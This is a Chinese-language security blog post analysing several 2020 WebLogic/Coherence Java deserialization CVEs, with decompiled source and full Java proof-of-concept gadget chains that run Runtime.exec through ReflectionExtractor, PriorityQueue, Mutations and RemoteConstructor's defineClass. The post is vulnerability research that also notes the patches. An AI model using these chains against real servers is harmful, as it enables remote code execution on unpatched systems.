前言
今年的几个 Coherence 相关反序列化漏洞,搞一波。
环境搭建
先简单搭一个 WebLogic 的环境,下载地址,WebLogic 中集成了 Coherence :参考文章。
然后把后面要用到的两个 jar 提出来放到一个新建的项目里面:参考文章。
wlfullclient.jar(weblogic 的基本所有功能类),在 wlserver\server\lib 目录下执行:
java -jar ..\..\modules\com.bea.core.jarbuilder.jar
coherence.jar(coherence 的相关包),找这个 jar 的时候被坑到了,有的文章说在 wlserver\server\lib\console-ext\autodeploy 目录下,我本地查看的时候发现这个 jar 里面并没有关键的 com.tangosol 包,所以后来我自己找了找,找到的 jar 在 coherence\lib 目录下。
放好 jar 之后在 IDEA 中右键 Add as Library 就可以导入项目,最后是这个样子:
zip 压缩包是用 jd-gui 反编译出来的源码包(反编译出来的代码好像对齐了行号,方便调试),用于之后的漏洞分析。
CVE-2020-2555
漏洞分析
打算从补丁出发自己看一看反序列化链,但是我没有 Support Identifier 好像下载不了补丁,贴一张参考文章的图吧:
可以看到修复是去掉了 LimitFilter 类 toString 函数的 extractor.extract 调用, 所以入口点是 JDK 中的 BadAttributeValueExpException 类,而下一步要寻找一个实现了 ValueExtractor 接口的类,然后观察他的 extract 函数。
全局搜索一下,可以看到一个包 com.tangosol.util.extractor,我们想找的类都在这里面了,我们一个个看这些 Extractor。
寻找 extract
AbstractCompositeExtractor
没有实现接口,要看它的父类。
AbstractExtractor
AbstractCompositeExtractor 的父类,extract 函数实现如下:
/* */ public E extract(T oTarget) {
/* 51 */ if (oTarget == null)
/* */ {
/* 53 */ return null;
/* */ }
/* 57 */ throw new UnsupportedOperationException();
/* */ }
除了个 return null 就是抛出不可控异常,看起来无法利用。
ChainedExtractor(链式 extract)
extract 函数实现如下:
/* */ public E extract(Object oTarget) {
/* 102 */ ValueExtractor[] aExtractor = getExtractors();
/* 103 */ for (int i = 0, c = aExtractor.length; i < c && oTarget != null; i++)
/* */ {
/* 105 */ oTarget = aExtractor[i].extract(oTarget);
/* */ }
/* 108 */ return (E)oTarget;
/* */ }
是一个链式的 extract 调用,或许可以作为反射链,不过与现在要寻找的利用类无关,先放置一旁。
ComparisonValueExtractor(compare/compareTo)
extract 函数实现如下:
/* */ public E extract(Object oTarget) {
/* 135 */ ValueExtractor[] aExtractor = getExtractors();
/* 136 */ Comparator comparator = getComparator();
/* 138 */ Object o1 = aExtractor[0].extract(oTarget);
/* 139 */ Object o2 = aExtractor[1].extract(oTarget);
/* 141 */ if (o1 instanceof Number && o2 instanceof Number && comparator == null) {
/* */ ...
/* */ }
/* 229 */ return (E)Integer.valueOf(
/* 230 */ SafeComparator.compareSafe(comparator, o1, o2));
/* */ }
上面有一大段 Number 类型才能执行的代码,跳过,可以看到最后会调用 SafeComparator.compareSafe:
/* */ public static int compareSafe(Comparator<Object> comparator, Object o1, Object o2, boolean fNullFirst) {
/* 218 */ if (comparator != null) {
/* */ try {
/* 222 */ return comparator.compare(o1, o2);
/* */ }
/* 224 */ catch (NullPointerException nullPointerException) {}
/* */ }
/* 227 */ if (o1 == null)
/* */ {
/* 229 */ return (o2 == null) ? 0 : (fNullFirst ? -1 : 1);
/* */ }
/* 232 */ if (o2 == null)
/* */ {
/* 234 */ return fNullFirst ? 1 : -1;
/* */ }
/* 237 */ return ((Comparable<Object>)o1).compareTo(o2);
/* */ }
最后一个参数 fNullFirst 默认为 true,这里会调用 comparator.compare,可以连接到实现了 Comparator 接口的类的 compare 函数。
除此之外后面还调用了 compareTo,也可以连接到实现了 Comparable 接口的类的 compareTo 函数。
ConditionalExtractor
extract 函数实现如下:
/* */ public E extract(Object oTarget) {
/* 157 */ throw new UnsupportedOperationException("ConditionalExtractor may not be used as an extractor.");
/* */ }
直接抛出了异常,无法利用。
DeserializationAccelerator
extract 函数实现如下:
/* */ public Object extract(Object oTarget) {
/* 141 */ throw new UnsupportedOperationException("DeserializationAccelerator may not be used as an extractor.");
/* */ }
直接抛出了异常,无法利用。
EntryExtractor
没有实现 extract,用的是父类 AbstractExtractor 的。
IdentityExtractor(返回参数)
extract 函数实现如下:
/* */ public T extract(T target) {
/* 46 */ return target;
/* */ }
会直接返回传入的对象,可以配合 ComparisonValueExtractor 使用。
KeyExtractor
extract 函数实现如下:
/* */ public E extract(T oTarget) {
/* 112 */ return (E)this.m_extractor.extract(oTarget);
/* */ }
又调用了一遍 extract,没有太大意义。
MultiExtractor(多次 extract)
extract 函数实现如下:
/* */ public Object extract(Object oTarget) {
/* 85 */ if (oTarget == null)
/* */ {
/* 87 */ return null;
/* */ }
/* 90 */ ValueExtractor[] aExtractor = getExtractors();
/* 91 */ int cExtractors = aExtractor.length;
/* 92 */ Object[] aValue = new Object[cExtractors];
/* 94 */ for (int i = 0; i < cExtractors; i++)
/* */ {
/* 96 */ aValue[i] = aExtractor[i].extract(oTarget);
/* */ }
/* 99 */ return new ImmutableArrayList(aValue);
/* */ }
相当于调用了多次 extract,每次调用之间互不影响。
PofExtractor
没有实现 extract,用的是父类 AbstractExtractor 的。
ReflectionExtractor(反射)
好家伙,一看名字反射就感觉不对劲了,extract 函数实现如下:
/* */ public E extract(T oTarget) {
/* 104 */ if (oTarget == null)
/* */ {
/* 106 */ return null;
/* */ }
/* 109 */ Class<?> clz = oTarget.getClass();
/* */ try {
/* 112 */ Method method = this.m_methodPrev;
/* 114 */ if (method == null || method.getDeclaringClass() != clz)
/* */ {
/* 116 */ this.m_methodPrev = method = ClassHelper.findMethod(clz,
/* 117 */ getMethodName(), ClassHelper.getClassArray(this.m_aoParam), false);
/* */ }
/* 121 */ return (E)method.invoke(oTarget, this.m_aoParam);
/* */ }
/* 123 */ catch (NullPointerException e) {
/* 125 */ throw new RuntimeException(suggestExtractFailureCause(clz));
/* */ }
/* 127 */ catch (Exception e) {
/* 129 */ throw ensureRuntimeException(e, clz
/* 130 */ .getName() + this + '(' + oTarget + ')');
/* */ }
/* */ }
确实是好家伙,一个显眼的反射调用函数,配合 ChainedExtractor 似乎可以实现反射链。
漏洞利用
拼接一下,简单的本地测试代码:
public class Main {
private static Field getField(Class clz, String fieldName) {
Field field = null;
try {
field = clz.getDeclaredField(fieldName);
}catch (NoSuchFieldException e) {
if (!clz.getSuperclass().equals(Object.class)) {
field = getField(clz.getSuperclass(), fieldName);
}
}
if (field != null) {
field.setAccessible(true);
}
return field;
}
private static Object getFieldValue(Object obj, String fieldName) throws IllegalAccessException {
Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
private static void setFieldValue(Object obj, String fieldName, Object value) throws IllegalAccessException {
Field field = getField(obj.getClass(), fieldName);
if (field != null) {
field.set(obj, value);
}
}
private static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(obj);
return bos.toByteArray();
}
private static void deserialize(byte[] s) throws IOException, ClassNotFoundException {
ByteArrayInputStream bos = new ByteArrayInputStream(s);
ObjectInputStream oos = new ObjectInputStream(bos);
oos.readObject();
}
@SuppressWarnings("ThrowableNotThrown")
public static void main(String[] args) throws Exception {
ValueExtractor[] valueExtractorsArray = new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}, 1),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}, 1),
new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}})
};
ChainedExtractor chainedExtractor = new ChainedExtractor<>(valueExtractorsArray);
LimitFilter limitFilter = new LimitFilter();
setFieldValue(limitFilter, "m_comparator", chainedExtractor);
setFieldValue(limitFilter, "m_oAnchorTop", Runtime.class);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException, "val", limitFilter);
byte[] poc = serialize(badAttributeValueExpException);
deserialize(poc);
}
}
听说还有 EL 表达式注入的利用方式,参考文章,用的可能是之前提到过的 javax.el.ELProcessor 类吧,就不加研究了。
漏洞修复
参加上面的图。
CVE-2020-2883
漏洞分析
可以算是 CVE-2020-2555 的绕过,在 LimitFilter 类的 toString 被修复了的情况下,要找到其他方式连接起 readObject 和 extract,这篇参考文章里面给出了两个 payload。
漏洞利用
PriorityQueue
参考之前 apache-commons-collections 的利用链,PriorityQueue 类可以用来连接 readObject 和 compare,所以我们还需要找到一个可利用的 compare 函数。
全局搜索一下 extractor.extract 的调用,可以看到一个类 ExtractorComparator,它的 compare 函数如下:
/* */ public int compare(T o1, T o2) {
/* 71 */ Comparable<Comparable> a1 = (o1 instanceof InvocableMap.Entry) ? (Comparable)((InvocableMap.Entry)o1).extract(this.m_extractor) : (Comparable)this.m_extractor.extract(o1);
/* 74 */ Comparable a2 = (o2 instanceof InvocableMap.Entry) ? (Comparable)((InvocableMap.Entry)o2).extract(this.m_extractor) : (Comparable)this.m_extractor.extract(o2);
/* 76 */ if (a1 == null)
/* */ {
/* 78 */ return (a2 == null) ? 0 : -1;
/* */ }
/* 81 */ if (a2 == null)
/* */ {
/* 83 */ return 1;
/* */ }
/* 86 */ return a1.compareTo(a2);
/* */ }
可以看到一句:
(Comparable)this.m_extractor.extract(o1)
所以我们可以用这个类连接起 compare 和 extract,拼接一下:
@SuppressWarnings({"ThrowableNotThrown", "unchecked"})
public static void main(String[] args) throws Exception {
ValueExtractor[] valueExtractorsArray = new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}, 1),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}, 1),
new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}})
};
ChainedExtractor chainedExtractor = new ChainedExtractor<>(valueExtractorsArray);
ExtractorComparator extractorComparator = new ExtractorComparator();
setFieldValue(extractorComparator, "m_extractor", chainedExtractor);
PriorityQueue priorityQueue = new PriorityQueue(2, null);
priorityQueue.add(1);
priorityQueue.add(1);
Object[] queue = (Object[])getFieldValue(priorityQueue, "queue");
queue[0] = Runtime.class;
queue[1] = 1;
setFieldValue(priorityQueue, "comparator", extractorComparator);
byte[] poc = serialize(priorityQueue);
deserialize(poc);
}
除了 ExtractorComparator,还可以利用 MultiExtractor 类,这个类的 extract 如上文所说可以调用其他 extract,而且它没有实现 compare 函数,使用的是父类的 AbstractExtractor 的 compare 函数:
/* */ public int compare(Object o1, Object o2) {
/* 143 */ return SafeComparator.compareSafe(null, extract((T)o1), extract((T)o2));
/* */ }
不得不说还挺巧妙的,拼一下:
@SuppressWarnings({"ThrowableNotThrown", "unchecked"})
public static void main(String[] args) throws Exception {
ValueExtractor[] valueExtractorsArray = new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}, 1),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}, 1),
new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}})
};
ChainedExtractor chainedExtractor = new ChainedExtractor<>(valueExtractorsArray);
MultiExtractor multiExtractor = new MultiExtractor();
setFieldValue(multiExtractor, "m_aExtractor", new ValueExtractor[]{chainedExtractor});
PriorityQueue priorityQueue = new PriorityQueue(2, null);
priorityQueue.add(1);
priorityQueue.add(1);
Object[] queue = (Object[])getFieldValue(priorityQueue, "queue");
queue[0] = Runtime.class;
queue[1] = 1;
setFieldValue(priorityQueue, "comparator", multiExtractor);
byte[] poc = serialize(priorityQueue);
deserialize(poc);
}
或许还有更多的链,我就懒得继续找了。
toString
有点复杂,Mutations 类的 toString:
/* */ public String toString() {
/* 184 */ StringBuilder buf = new StringBuilder();
/* 185 */ if (this.renamers.size() > 0) {
/* 186 */ buf.append(this.renamers.values());
/* */ }
/* 188 */ if (this.deleters.size() > 0) {
/* 189 */ buf.append(this.deleters.values());
/* */ }
/* 191 */ if (this.converters.size() > 0) {
/* 192 */ buf.append(this.converters.values());
/* */ }
/* 194 */ if (buf.length() > 0) {
/* 195 */ return buf.toString();
/* */ }
/* 197 */ return "[Empty Mutations]";
/* */ }
/* */ }
ConcurrentSkipListMap$SubMap 类的 size:
public int size() {
Comparator<? super K> cmp = m.comparator;
long count = 0;
for (ConcurrentSkipListMap.Node<K,V> n = loNode(cmp);
isBeforeEnd(n, cmp);
n = n.next) {
if (n.getValidValue() != null)
++count;
}
return count >= Integer.MAX_VALUE ? Integer.MAX_VALUE : (int)count;
}
isBeforeEnd:
boolean isBeforeEnd(ConcurrentSkipListMap.Node<K,V> n,
Comparator<? super K> cmp) {
if (n == null)
return false;
if (hi == null)
return true;
K k = n.key;
if (k == null) // pass by markers and headers
return true;
int c = cpr(cmp, k, hi);
if (c > 0 || (c == 0 && !hiInclusive))
return false;
return true;
}
ConcurrentSkipListMap 类的 cpr:
static final int cpr(Comparator c, Object x, Object y) {
return (c != null) ? c.compare(x, y) : ((Comparable)x).compareTo(y);
}
可以接上 compare,拼一下:
@SuppressWarnings({"ThrowableNotThrown", "unchecked"})
public static void main(String[] args) throws Exception {
ValueExtractor[] valueExtractorsArray = new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}, 1),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}, 1),
new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}})
};
ChainedExtractor chainedExtractor = new ChainedExtractor<>(valueExtractorsArray);
ExtractorComparator extractorComparator = new ExtractorComparator();
setFieldValue(extractorComparator, "m_extractor", chainedExtractor);
HashMap hashMap = new HashMap();
hashMap.put("replacement", "Twings");
Object[] hashMapTable = (Object[])getFieldValue(hashMap, "table");
Object hashMapNode = hashMapTable[13];
setFieldValue(hashMapNode, "key", Runtime.class);
ConcurrentSkipListMap concurrentSkipListMap = new ConcurrentSkipListMap(hashMap);
setFieldValue(concurrentSkipListMap, "comparator", extractorComparator);
Constructor ctr = Class.forName("java.util.concurrent.ConcurrentSkipListMap$SubMap").getDeclaredConstructors()[0];
ctr.setAccessible(true);
Object submap = ctr.newInstance(concurrentSkipListMap, null, false, null, false, false);
setFieldValue(submap, "hi", "Twings");
Mutations mutations = new Mutations();
setFieldValue(mutations, "renamers", submap);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException, "val", mutations);
byte[] poc = serialize(badAttributeValueExpException);
deserialize(poc);
}
漏洞修复
按照参考文章所说,将 ReflectionExtractor 列入了黑名单。
CVE-2020-14644
defineClass
参考文章1,参考文章2,一个 Java 类要加载到 JVM 中要经过三个步骤:
加载
查找并导入内存,生成代表类的 Class 对象链接
- 校验
检查导入类或接口的二进制数据的正确性 - 准备
给类的静态变量分配并初始化存储空间 - 解析
符号引用转换为直接引用
- 校验
初始化
静态变量初始化,静态代码块执行
我们一般会使用 Class.forName 或者 ClassLoader.loadClass 加载类,Class.forName 默认会对静态数据(代码、变量)进行初始化,而 ClassLoader.loadClass 默认不进行。
除了用这两个函数从本地加载类,我们还可以通过 defineClass 从字节码中加载类,参考文章,贴一张参考文章的图:
这个函数有四个参数,分别是类名、字节码、类字节码起始偏移以及类字节码长度。虽然 defineClass 可以从字节码中加载一个类,但是它并不会进行初始化,所以如果想要实现利用,还需要对该类进行实例化等操作。
漏洞分析
入口点在 RemoteConstructor 类的 readResolve 函数(readResolve 函数操作位于 readObject 之后,一般用于实现单例模式):
/* */ public Object readResolve() throws ObjectStreamException {
/* 233 */ return newInstance();
/* */ }
/* */
/* */ public T newInstance() {
/* 121 */ RemotableSupport support = RemotableSupport.get(getClassLoader());
/* 122 */ return support.realize(this);
/* */ }
/* */
/* */ protected ClassLoader getClassLoader() {
/* 134 */ ClassLoader loader = this.m_loader;
/* 135 */ return (loader == null) ? Base.getContextClassLoader(this) : loader;
/* */ }
/* */
/* */ public static RemotableSupport get(ClassLoader loader) {
/* */ return (loader instanceof RemotableSupport) ? (RemotableSupport)loader : s_mapByClassLoader.computeIfAbsent(Base.ensureClassLoader(loader), RemotableSupport::new);
/* */ }
/* */
/* */ public <T> T realize(RemoteConstructor<T> constructor) {
/* */ ClassDefinition definition = registerIfAbsent(constructor.getDefinition());
/* */ Class<? extends Remotable> clz = definition.getRemotableClass();
/* */ if (clz == null)
/* */ synchronized (definition) {
/* */ clz = definition.getRemotableClass();
/* */ if (clz == null)
/* */ definition.setRemotableClass(defineClass(definition));
/* */ }
/* */ Remotable<T> instance = (Remotable<T>)definition.createInstance(constructor.getArguments());
/* */ instance.setRemoteConstructor(constructor);
/* */ return (T)instance;
/* */ }
/* */
/* */ protected Class<? extends Remotable> defineClass(ClassDefinition definition) {
/* */ String sBinClassName = definition.getId().getName();
/* */ String sClassName = sBinClassName.replace('/', '.');
/* */ byte[] abClass = definition.getBytes();
/* */ definition.dumpClass(DUMP_REMOTABLE);
/* */ return this.defineClass(sClassName, abClass, 0, abClass.length);
/* */ }
/* */
/* */ public Object createInstance(Object... aoArgs) {
/* */ try {
/* 149 */ return getConstructor(aoArgs).invokeWithArguments(aoArgs);
/* */ }
/* 151 */ catch (NoSuchMethodException e) {
/* */
/* */
/* 154 */ Constructor[] aCtors = (Constructor[])this.m_clz.getDeclaredConstructors();
/* 155 */ for (Constructor ctor : aCtors) {
/* */
/* 157 */ if ((ctor.getParameterTypes()).length == aoArgs.length) {
/* */
/* */ try {
/* */
/* 161 */ return ctor.newInstance(aoArgs);
/* */ }
/* 163 */ catch (InstantiationException|java.lang.reflect.InvocationTargetException|IllegalAccessException|IllegalArgumentException instantiationException) {}
/* */ }
/* */ }
可以看到 realize 函数中调用了一个 defineClass 函数,这里调用了父类 ClassLoader 的 defineClass 函数,可以从字节码中加载一个类。还可以看到 createInstance 函数疑似做了实例化对象的操作,但是我们不确定能否控制这个实例化的类为我们加载的类,从而执行它的构造函数来实现 RCE,我们可以先写一段简单的测试代码然后慢慢推进到:
RemoteConstructor remoteConstructor = new RemoteConstructor();
deserialize(serialize(remoteConstructor));
然后执行会得到报错:
Exception in thread "main" java.lang.NullPointerException
at com.tangosol.internal.util.invoke.RemotableSupport.registerIfAbsent(RemotableSupport.java:161)
从头开始理一遍流程,先看 getClassLoader 函数,
getClassLoader
因为 m_loader 变量是一个 transient 变量,所以这个函数的返回值不可控,调试得到的结果为 AppClassLoader:
RemotableSupport.get
因为 RemotableSupport 不是从反序列化中获取的,调用的 get 函数为一个静态函数,且 loader 为 AppClassLoader,所以返回值也不可控,这两步的返回结果为一个不可控的 RemotableSupport 对象。
support.realize
可以看到这个函数中的大部分操作都来自 definition 变量,而这个变量来自 constructor.getDefinition():
/* */ public ClassDefinition getDefinition() {
/* 97 */ return this.m_definition;
/* */ }
这是一个 protected 变量,且其类型为可序列化的 ClassDefinition,可以通过反序列化传入来控制。
然后是 registerIfAbsent 函数:
/* */ protected ClassDefinition registerIfAbsent(ClassDefinition definition) {
/* */ assert definition != null;
/* */ ClassDefinition rtn = this.f_mapDefinitions.putIfAbsent(definition.getId(), definition);
/* */ return (rtn == null) ? definition : rtn;
/* */ }
这个函数会调用 ConcurrentHashMap 的 putIfAbsent 函数以 definition.getId() 为键将 definition 放入 f_mapDefinitions 并返回结果(题外话,反编译出来的这个类调试不能,换用 IDEA 自己的反编译),而前面的报错就是因为我们序列化的 RemoteConstructor 中没有 definition,所以这里的 definition 为 null,修改一下测试代码:
ClassDefinition classDefinition = new ClassDefinition();
RemoteConstructor remoteConstructor = new RemoteConstructor(classDefinition, new Object[0]);
deserialize(serialize(remoteConstructor));
发现下一个报错:
Exception in thread "main" java.lang.NullPointerException
at java.util.concurrent.ConcurrentHashMap.putVal(ConcurrentHashMap.java:1011)
原因是 putIfAbsent 的键为空,看下这个 getId 函数:
public ClassIdentity getId() {
return this.m_id;
}
返回的同样是一个可序列化的变量,可以控制。
修改代码继续测试:
ClassIdentity classIdentity = new ClassIdentity();
ClassDefinition classDefinition = new ClassDefinition(classIdentity, null);
RemoteConstructor remoteConstructor = new RemoteConstructor(classDefinition, new Object[0]);
deserialize(serialize(remoteConstructor));
报错:
Exception in thread "main" java.lang.NullPointerException
at com.tangosol.internal.util.invoke.ClassIdentity.hashCode(ClassIdentity.java:142)
原因是 HashMap 在 put 的过程中往往要调用键的 hashCode 函数,所以我们再看看 ClassIdentity 的 hashCode 函数:
public int hashCode() {
int nHash = this.m_sPackage.hashCode();
nHash = 31 * nHash + this.m_sBaseName.hashCode();
nHash = 31 * nHash + this.m_sVersion.hashCode();
return nHash;
}
所以在生成 payload 的时候还需要给 ClassIdentity 传入这几个参数,这时候的代码如下:
ClassIdentity classIdentity = new ClassIdentity(Evil.class);
ClassDefinition classDefinition = new ClassDefinition(classIdentity, null);
RemoteConstructor remoteConstructor = new RemoteConstructor(classDefinition, new Object[0]);
deserialize(serialize(remoteConstructor));
defineClass
下一个报错:
Exception in thread "main" java.lang.NullPointerException
at com.tangosol.internal.util.invoke.RemotableSupport.defineClass(RemotableSupport.java:181)
可以看到错误发生在 defineClass 函数,原因是我们序列化的 ClassDefinition 中没有类的字节码,我们用动态编程加上构造一个:
ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.get(Evil.class.getName());
String code = "java.lang.Runtime.getRuntime().exec(\"calc\");";
clazz.makeClassInitializer().insertAfter(code);
clazz.setName("com/example/weblogic/RCE$Twings");
byte[] classByte = clazz.toBytecode();
ClassIdentity classIdentity = new ClassIdentity();
setFieldValue(classIdentity, "m_sPackage", "com/example/weblogic");
setFieldValue(classIdentity, "m_sBaseName", "RCE");
setFieldValue(classIdentity, "m_sVersion", "Twings");
ClassDefinition classDefinition = new ClassDefinition(classIdentity, classByte);
RemoteConstructor remoteConstructor = new RemoteConstructor(classDefinition, new Object[0]);
deserialize(serialize(remoteConstructor));
然后就没有下一个报错了,计算器弹了出来,emmmmmm。
definition.setRemotableClass
defineClass 从字节码中加载类之后,会调用 setRemotableClass 获取构造函数:
public void setRemotableClass(Class<? extends Remotable> clz) {
this.m_clz = clz;
Constructor<?>[] aCtor = clz.getDeclaredConstructors();
if (aCtor.length == 1) {
try {
MethodType ctorType = MethodType.methodType(Void.TYPE, aCtor[0].getParameterTypes());
this.m_mhCtor = MethodHandles.publicLookup().findConstructor(clz, ctorType);
} catch (IllegalAccessException | NoSuchMethodException var4) {
throw Base.ensureRuntimeException(var4);
}
}
}
当只有一个构造函数时,会将该构造函数相关的信息存入 m_mhCtor 变量。
createInstance
函数参数为 constructor.getArguments(),即实例化 RemoteConstructor 时传入的 Object[0],也就是无参函数的意思。
跟入 getConstructor 函数:
protected MethodHandle getConstructor(Object[] aoArgs) throws NoSuchMethodException {
if (this.m_mhCtor != null) {
return this.m_mhCtor;
}
...
}
这个函数用于从加载的类中获取构造函数,但是因为我们传入的字节码类只有一个构造函数,所以查找结果与参数类型无关,会不寻找直接返回该构造函数。
然后则是 invokeWithArguments 函数,看名字明显是反射调用构造函数,于是就执行了恶意的构造函数代码。
不过最后还有一个错误:
Exception in thread "main" java.lang.ClassCastException: com.example.weblogic.RCE$Twings cannot be cast to com.tangosol.internal.util.invoke.Remotable
可以锦上添花解决一下:
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(Remotable.class));
CtClass clazz = classPool.get(Evil.class.getName());
CtClass remotable = classPool.get(Remotable.class.getName());
String code = "java.lang.Runtime.getRuntime().exec(\"calc\");";
clazz.makeClassInitializer().insertAfter(code);
CtMethod setRemoteConstructor = CtMethod.make("public void setRemoteConstructor(com.tangosol.internal.util.invoke.RemoteConstructor remoteConstructor){}", clazz);
CtMethod getRemoteConstructor = CtMethod.make("public com.tangosol.internal.util.invoke.RemoteConstructor getRemoteConstructor(){return null;}", clazz);
clazz.addMethod(setRemoteConstructor);
clazz.addMethod(getRemoteConstructor);
clazz.setName("com/example/weblogic/RCE$Twings");
clazz.setInterfaces(new CtClass[]{remotable});
byte[] classByte = clazz.toBytecode();
ClassIdentity classIdentity = new ClassIdentity();
setFieldValue(classIdentity, "m_sPackage", "com/example/weblogic");
setFieldValue(classIdentity, "m_sBaseName", "RCE");
setFieldValue(classIdentity, "m_sVersion", "Twings");
ClassDefinition classDefinition = new ClassDefinition(classIdentity, classByte);
RemoteConstructor remoteConstructor = new RemoteConstructor(classDefinition, new Object[0]);
deserialize(serialize(remoteConstructor));
CVE-2020-14645
CVE-2020-14645 是 CVE-2020-2883 的绕过,在 ReflectionExtractor 被禁止了的情况下,用 UniversalExtractor 构造一条新的利用链,参考文章1,参考文章2。
我们来看看 UniversalExtractor 的 extarct 函数长什么样:
public E extract(T oTarget) {
if (oTarget == null) {
return null;
} else {
TargetReflectionDescriptor targetPrev = this.m_cacheTarget;
try {
if (targetPrev != null && oTarget.getClass() == targetPrev.getTargetClass()) {
return targetPrev.isMap() ? ((Map)oTarget).get(this.getCanonicalName()) : targetPrev.getMethod().invoke(oTarget, this.m_aoParam);
} else {
return this.extractComplex(oTarget);
}
} catch (NullPointerException var4) {
throw new RuntimeException(this.suggestExtractFailureCause(oTarget.getClass()));
} catch (Exception var5) {
throw ensureRuntimeException(var5, oTarget.getClass().getName() + this + '(' + oTarget + ')');
}
}
}
因为变量 m_cacheTarget 是个 transient 变量,所以会执行 this.extractComplex(oTarget):
protected E extractComplex(T oTarget) throws InvocationTargetException, IllegalAccessException {
Class clzTarget = oTarget.getClass();
Object[] aoParam = this.m_aoParam;
Class[] clzParam = ClassHelper.getClassArray(aoParam);
String sCName = this.getCanonicalName();
boolean fProperty = this.isPropertyExtractor();
Method method = null;
if (fProperty) {
String sBeanAttribute = Character.toUpperCase(sCName.charAt(0)) + sCName.substring(1);
for(int cchPrefix = 0; cchPrefix < BEAN_ACCESSOR_PREFIXES.length && method == null; ++cchPrefix) {
method = ClassHelper.findMethod(clzTarget, BEAN_ACCESSOR_PREFIXES[cchPrefix] + sBeanAttribute, clzParam, false);
}
} else {
method = ClassHelper.findMethod(clzTarget, this.getMethodName(), clzParam, false);
}
if (method == null) {
if (fProperty && oTarget instanceof Map) {
this.m_cacheTarget = new TargetReflectionDescriptor(clzTarget);
return ((Map)oTarget).get(sCName);
}
} else {
this.m_cacheTarget = new TargetReflectionDescriptor(clzTarget, method);
}
return method.invoke(oTarget, aoParam);
}
fProperty 变量来自 isPropertyExtractor:
public boolean isPropertyExtractor() {
return !this.m_fMethod;
}
m_fMethod 也是个 transient 变量,所以 fProperty 为 true,那么接下来就会有两个选择,要么通过反射执行一次 getXXX 或者 isXXX 函数:
要么进入 method == null 的分支,调用某个 Map 类的 get 函数。
那么攻击的思路也很明确了,执行一次 getDatabaseMetaData 函数可以进行 JNDI 注入:
public DatabaseMetaData getDatabaseMetaData() throws SQLException {
Connection var1 = this.connect();
return var1.getMetaData();
}
而调用 Map.get 可以用来接上 apache-commons-collections 的利用链。
Orz
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!